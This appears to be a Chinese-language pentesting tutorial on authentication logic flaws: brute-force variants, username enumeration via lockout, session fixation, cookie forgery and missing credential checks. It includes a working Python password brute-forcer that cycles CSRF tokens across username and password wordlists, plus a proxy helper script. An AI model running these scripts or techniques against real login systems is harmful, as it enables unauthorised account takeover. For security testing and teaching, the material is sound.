目录
一.定义
由于开发人员设计程序时逻辑不严密,导致攻击者可以修改,绕过或者中断整个程序,让程序并非按照研发设计的逻辑运行,而是从开发人员预料之外去执行,这就是逻辑漏洞。
(由于逻辑漏洞涉及到的内容杂且多,所以我将分为几篇来写,本篇主要讲身份验证的漏洞)
二.身份验证漏洞
1.暴力破解漏洞
渗透测试中最简单也最有效的攻击方式就是弱口令攻击,web 服务中最好用的爆破神器就是 Burp Suite 的 intruder 模块,如果有简单的图片验证码时,就可以用 pkav工具来试下。此外,还可以自己写python脚本来爆破。
1.1 未限制爆破
对于用户登录的地方(如输入账号,密码等)没有做防御爆破的措施,则对该地方可以直接使用bp来抓包,然后发送到 intruder 模块来爆破。
1.2 限制 IP 爆破
针对爆破问题,有些开发人员可能会使用限制 IP 的方式,当在短时间内有大量来自该 IP 的尝试登录现象时就会封锁该 IP,导致该 IP 无法使用,针对这种情况,可以自己写脚本,调用 git 开源的代理 API 来爆破,当然也可以直接用别人的轮子。
下面为使用python脚本调用代理池的代码。
import requests
import re
def post ():
curl = "https://..../" #爆破的网站url
proxy = {'http':'127.0.0.1:8080'} #自建资源池,这里为代理地址和端口
header = {'User-Agent':'Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/70.0.3538.25 Safari/537.36 Core/1.70.3775.400 QQBrowser/10.6.4208.400'}
#头部信息,一般可省略
post = requests.get(curl,headers=header,proxies=proxy).text #请求报文
# post = post.encode('ISO-8859-1').decode("gb2312") #iso编码转汉字
# print(post) #打印网站
chuli(post) #使用chuli进行取值
def chuli (post): #此模块为数据处理
ip = re.findall('准确归属地:.*', post)[0] #取出IP地址
print(ip) #输出地址
if __name__ == '__main__':
post()
1.3 限制密码错误次数
有些网站管理员会限制某个账号的登录次数,如果密码错误次数超过限制次数,账号就会被锁定。
如果他限制了一个账号,比如只允许输错5次,但是不限制你换个账号又可以继续输错5次,对于这种情况,通常可以通过弱密码反过来爆破账号,即设置任意的不超过爆破次数的弱密码数量,然后来爆破用户名,如果显示某个账户会锁定,说明存在该用户。
1.4 多字段爆破
即需要爆破多个字段,比如需要同时爆破账号密码验证码,大多数情况下仍然使用 burpsuite 的 Intruder 模块,只是与单个字段爆破选择的模式不同,但是当某个字段需要用到上次回包里的信息的情况下,最常见的字段有cookie,session,token,此时可以用 bp 来爆破的话,需要选择单线程。
也可以用 python 脚本实现,以 token 值为例。
import requests
import re
purl = "http://.../" #爆破网站
user_token = "27536628ca8f3b0818871451285" #先获取第一个token值
proxy = {'http':'127.0.0.1:8080'} #使用bp代理池,就可以在bp里看到发送的报文
header = {
'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:96.0) Gecko/20100101 Firefox/96.0',
'Cookie': 'PHPSESSID=17u0i2fakm84eq9oc24boc8715'}
def token(response):
user_token = re.findall('value=".*."', response)[0][7:-1] #取出token
return user_token
def uandp(user_token):
f = open('result.csv', 'w') #把爆破结果储存到文件里,这里为csv格式
f.write('用户名' + ',' + '密码' + ',' + '包长度' + '\n') #给文件设置标题
sum = len(open("p.txt").readlines())*len(open("u.txt").readlines()) #密码本的总数量,最后得出进度
dan = 0
for u in open("u.txt") :
for p in open("p.txt") :
u = u.replace("\n","") #过滤掉回车符
p = p.replace("\n","")
session = requests.session() #会话保持
data= {'username':u,'password':p,'token':user_token,'submit':'Login'} #初始数据
response = session.post(purl,data=data,headers=header).text
user_token = token(response)
result = u + ',' + p + ',' + str(len(response)) #用户名密码以及响应包长度
f.write(result + '\n') #输出到文件
dan = dan + 1
print("进度:"+str(dan)+'/'+str(sum)) #输出到终端
# print(response)
f.close()
if __name__ == '__main__':
uandp(user_token)
1.5 限制登录频率
在一定的时间内限制爆破的次数,比如10分钟内只允许爆破10次,则可以采用延时爆破的方式,在 bp 里设置线程数即可,但是可能需要时间比较久。
1.6 Authorization爆破
狭义上单纯指 basic base64 爆破,比如 tomcat 的密码在传输的时候,是采用base64编码的,而广义上可以泛指经过编码过后的信息。
1.7 密文传输
渗透测试中,有时会遇到密码从客户端到服务端中间通过前端 js 代码加密后,再发送给服务器,这个时候,我们可以采用 bp 上自带的加密方法进行加密,方法同上。
常见的加密手法有MD5或者RSA,如果需要JS的复杂加密,也可以读懂JS的加密逻辑自定义Python进行爆破,或者使用python的pyexecjs包来帮助你执行JS文件复现加密方法。
2.session 固定攻击
2.1 漏洞介绍
session固定攻击是利用服务器的session不变机制,借他人之手获得认证和授权,然后冒用他人。
2.2 漏洞原理
在登录成功之后,为了保持会话持续连接,服务器会保留一个session,在一定时间内,用户在访问页面时,如果是 get 方式,只需在url 中带有相应的session值,如果是 post 方式,在请求头里带有 sessionid 值,则可以进行身份验证,而用户无需多次输入账号密码进行身份验证。因此,只要攻击者获取到session,就可以在用户登录期间,凭借 session 获得未授权登录。
2.3 漏洞测试方式
在访问网站时直接赋值session,然后更换浏览器打开或者使用无痕模式打开即可,如果可以直接访问,不需要登录,说明存在该漏洞。
3.Cookie 欺骗漏洞
3.1 漏洞介绍
通过伪造Cookie信息能够伪造其他用户进行登录。
3.2 漏洞原理
开发者为了方便,将身份信息或者登录信息明文或者只是简单编码、哈希之后存放在Cookies中,网站通过获取得到的Cookies进行授权或者身份验证。
3.3 漏洞修复
Cookie不应该存储可理解的身份信息和登录信息,按照规定,cookie对身份信息和登录信息的存储只能通过存储足够长度的随机字符串,避免篡改。
4.未进行登录凭证验证
有些业务的接口,因为缺少了对用户的登陆凭证的较验或者是验证存在缺陷,导致攻击者可以未经授权访问这些敏感信息甚至是越权操作。
例如,在某些后台页面上,直接在管理员 web 路径后面输入某些文件名,就可以直接访问。